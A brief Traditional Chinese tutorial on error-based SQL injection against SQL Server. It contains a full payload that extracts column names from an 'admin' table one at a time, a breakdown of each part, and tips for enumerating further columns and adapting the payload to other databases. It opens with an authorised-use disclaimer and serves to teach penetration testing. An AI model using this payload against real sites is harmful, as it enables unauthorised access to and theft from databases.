本文僅供安全研究、滲透測試授權範圍內參考。未經授權對目標系統進行 SQL 注入測試屬違法行為,嚴禁用於非法用途。請遵守當地法律法規,秉持白帽道德。
目標:在已知表名(如 admin)的情況下,逐個提取欄位名。核心思路:
information_schema.COLUMNS 篩選目標表的所有欄位,按 ORDINAL_POSITION 排序。LIMIT/TOP 配合偏移量逐行取出 COLUMN_NAME。Feihacker' union select top 1 table_name from information_schema.tables where (
select top 1 cast(column_name as varchar(256)) from (
select top 2 ORDINAL_POSITION, table_name, column_name
from information_schema.COLUMNS
where table_name='admin'
order by ORDINAL_POSITION
) t
order by ORDINAL_POSITION desc
)=0--
| 片段 | 作用 |
|---|---|
Feihacker' | 閉合前端查詢的單引號,注入起點 |
union select top 1 table_name ... | 聯合查詢,回傳單一字串供頁面顯示或報錯 |
where (select ...)=0 | 布林條件,若子查詢回傳字段名轉換為 0 失敗則觸發錯誤/顯示差異 |
內層 select top 2 ... order by ORDINAL_POSITION | 取前兩欄位(配合外層 top 1 ... desc 實現「跳過第一行,取第二行」) |
外層 select top 1 ... order by ORDINAL_POSITION desc | 反轉順序取最後一筆,即第 2 個字段 |
cast(column_name as varchar(256)) | 統一型別避免轉換錯誤 |
-- | 註釋掉後續原始 SQL |
修改內層 top N 與外層 top 1 ... desc 的 N 值:
top 1,外層 top 1(無需 desc)。top 2,外層 top 1 ... desc。top k,外層 top 1 ... desc。配合自動化工具(sqlmap、自寫腳本)即可批量導出。
information_schema 存取。理解 information_schema 結構與 TOP/LIMIT 偏移技巧,是手工驗證 SQL 注入字段爆破的核心。實戰中請結合資料庫方言差異(MySQL 用 LIMIT、Oracle 用 ROWNUM、PostgreSQL 用 LIMIT/OFFSET)調整 Payload。